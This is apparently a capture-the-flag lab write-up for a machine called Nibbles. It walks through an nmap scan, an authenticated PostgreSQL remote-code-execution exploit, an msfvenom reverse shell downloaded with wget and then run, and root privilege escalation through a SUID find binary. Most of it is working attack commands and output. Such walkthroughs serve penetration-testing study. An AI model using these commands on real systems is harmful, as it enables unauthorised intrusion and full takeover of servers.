Nibbles

Nmap

```
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
|   2048 10:62:1f:f5:22:de:29:d4:24:96:a7:66:c3:64:b7:10 (RSA)
|   256 c9:15:ff:cd:f3:97:ec:39:13:16:48:38:c5:58:d7:5f (ECDSA)
|_  256 90:7c:a3:44:73:b4:b4:4c:e3:9c:71:d1:87:ba:ca:7b (ED25519)
80/tcp open  http    Apache httpd 2.4.38 ((Debian))
|_http-title: Enter a title, displayed at the top of the window.
|_http-server-header: Apache/2.4.38 (Debian)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

PORT     STATE SERVICE    VERSION
5437/tcp open  postgresql PostgreSQL DB 11.3 - 11.7
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=debian
| Subject Alternative Name: DNS:debian
| Not valid before: 2020-04-27T15:41:47
|_Not valid after:  2030-04-25T15:41:47
```

Foothold

```
PostgreSQL 9.3-11.7 - Remote Code Execution (RCE) (Authenticated)           |
multiple/remote/50847.py
```

We can use this exploit to upload a reverse shell and excute it.

```
msfvenom -p linux/x64/shell_reverse_tcp LHOST=192.168.49.90 LPORT=80 -f elf >
evil.elf
```

```
┌──(root㉿kali)-[~/pg/practice/Nibbles]
└─# python3 50847.py -i 192.168.90.47 -p 5437 -c 'wget 192.168.49.90/evil.elf'

[+] Connecting to PostgreSQL Database on 192.168.90.47:5437
[+] Connection to Database established
[+] Checking PostgreSQL version
[+] PostgreSQL 11.7 is likely vulnerable
[+] Creating table _18b366a9ebc22567c19611c15b99b3c3
```

```
[+] Command executed


[+] Deleting table _18b366a9ebc22567c19611c15b99b3c3
```

Making the file execuatable

```
┌──(root㉿kali)-[~/pg/practice/Nibbles]
└─# python3 50847.py -i 192.168.90.47 -p 5437 -c 'chmod +x evil.elf'

[+] Connecting to PostgreSQL Database on 192.168.90.47:5437
[+] Connection to Database established
[+] Checking PostgreSQL version
[+] PostgreSQL 11.7 is likely vulnerable
[+] Creating table _ce6d32cd151b9428f90d64907d924dca
[+] Command executed


[+] Deleting table _ce6d32cd151b9428f90d64907d924dca
```

Running the reverse shell

```
┌──(root㉿kali)-[~/pg/practice/Nibbles]
└─# python3 50847.py -i 192.168.90.47 -p 5437 -c './evil.elf'

[+] Connecting to PostgreSQL Database on 192.168.90.47:5437
[+] Connection to Database established
[+] Checking PostgreSQL version
[+] PostgreSQL 11.7 is likely vulnerable
[+] Creating table _c5e4cb46b0813aeeb190a9dc85650aad
```

Priv esc

Linpeas output indicates that "find" is exploitable.

Refrenced GTFObins for privesc

https://gtfobins.github.io/gtfobins/find/#suid

```
================================( Interesting Files )================================
[+] SUID - Check easy privesc, exploits and write perms
[i] https://book.hacktricks.xyz/linux-unix/privilege-escalation#sudo-and-suid
/usr/lib/eject/dmcrypt-get-device
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/bin/chfn            --->    SuSE_9.3/10
/usr/bin/passwd          --->    Apple_Mac_OSX(03-2006)/Solaris_8/9(12-2004)/SPARC_8/9/Sun_Solaris
/usr/bin/gpasswd
/usr/bin/chsh
/usr/bin/fusermount
/usr/bin/newgrp          --->    HP-UX_10.20
/usr/bin/su
/usr/bin/mount           --->    Apple_Mac_OSX(Lion)_Kernel_xnu-1699.32.7_except_xnu-1699.24.8
/usr/bin/find
/usr/bin/sudo            --->    /sudo$
/usr/bin/umount          --->    BSD/Linux(08-1996)

[+] SGID
```

```
postgres@nibbles:/tmp$ ls -la /usr/bin/find
-rwsr-xr-x 1 root root 315904 Feb 16  2019 /usr/bin/find
postgres@nibbles:/tmp$
```

We can exploit the exec function to esclate privleges

```
postgres@nibbles:/tmp$ find -exec "whoami" \;
root
root
root
root
root
root
root
root
root
root
root
root
root
root
root
root
postgres@nibbles:/tmp$
```

```
find . -exec /bin/sh -p \; -quit
```

Now we can see that we have an euid equal to 0 (root)

```
postgres@nibbles:/tmp$ find . -exec /bin/sh -p \; -quit
# id
uid=106(postgres) gid=113(postgres) euid=0(root) groups=113(postgres),112(ssl-cert)
# cd /root
# ls
proof.txt
#
```